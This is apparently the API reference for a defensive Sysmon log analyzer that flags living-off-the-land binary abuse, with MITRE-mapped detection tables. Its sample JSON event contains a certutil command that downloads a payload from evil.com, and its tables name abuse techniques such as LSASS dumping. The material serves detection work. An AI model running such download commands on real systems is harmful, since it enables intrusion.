sica-fondt/knowledge/cyber-skills/skills/detecting-living-off-the-land-attacks/references/api-reference.md

API Reference: Detecting Living Off the Land Attacks

CLI Usage

# Analyze Sysmon EVTX file
python agent.py sysmon-events.evtx

# Analyze Sysmon JSON/JSONL export (one event per line)
python agent.py sysmon-events.jsonl

# Filter output for critical alerts
python agent.py sysmon-events.evtx 2>/dev/null | grep CRITICAL

LOLBins Detected

Binary	MITRE Technique	Severity	Abuse Type
certutil.exe	T1218, T1105, T1140	high	Download, decode, encode
mshta.exe	T1218.005	high	Remote/inline script execution
rundll32.exe	T1218.011	critical	JS execution, LSASS dump, DLL loading
regsvr32.exe	T1218.010	critical	Squiblydoo scriptlet execution
bitsadmin.exe	T1197, T1105	high	BITS download, job notification
wmic.exe	T1047	high	Remote process creation, XSL processing
msbuild.exe	T1127.001	high	Inline task execution from temp/AppData
installutil.exe	T1218.004	high	Silent uninstall execution
cmstp.exe	T1218.003	high	INF-based execution
mavinject.exe	T1218.013	critical	DLL injection into running process
cscript.exe	T1059.005	medium	Remote/suspicious script execution
wscript.exe	T1059.005	medium	Remote/suspicious script execution

Suspicious Parent-Child Pairs Detected

Parent Process	Child Process	MITRE	Severity
winword/excel/outlook	cmd/powershell/mshta/certutil	T1204.002	critical
wmiprvse.exe	cmd/powershell/mshta/rundll32	T1047	critical
services.exe	cmd/powershell/mshta/rundll32	T1543.003	high
svchost.exe	mshta/regsvr32/msbuild/certutil	T1218	high

Network-Suspicious LOLBins

LOLBins making outbound network connections are flagged as CRITICAL:

certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, bitsadmin.exe, esentutl.exe, expand.exe, replace.exe, cmstp.exe

Input Formats

JSON Events Format

[
  {
    "Image": "C:\\Windows\\System32\\certutil.exe",
    "CommandLine": "certutil -urlcache -f http://evil.com/payload.exe C:\\temp\\p.exe",
    "ParentImage": "C:\\Windows\\System32\\cmd.exe",
    "User": "CORP\\jsmith",
    "UtcTime": "2026-03-19 14:32:15.000",
    "Computer": "WORKSTATION-01"
  }
]

EVTX Requirements

Sysmon EVTX files with:

• Event ID 1 (Process Creation) with full command-line logging
• Event ID 3 (Network Connection) for LOLBin network detection

Report Output Schema

{
  "report_date": "2026-03-19T12:00:00+00:00",
  "total_findings": 15,
  "by_severity": {"critical": 3, "high": 8, "medium": 4},
  "by_lolbin": {"certutil.exe": 5, "rundll32.exe": 3, "mshta.exe": 2},
  "mitre_techniques_observed": ["T1047", "T1105", "T1218", "T1218.005", "T1218.011"],
  "findings": []
}

References

• LOLBAS Project: https://lolbas-project.github.io/
• MITRE ATT&CK Defense Evasion: https://attack.mitre.org/tactics/TA0005/
• Sysmon Documentation: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
• Sigma LOLBin Rules: https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation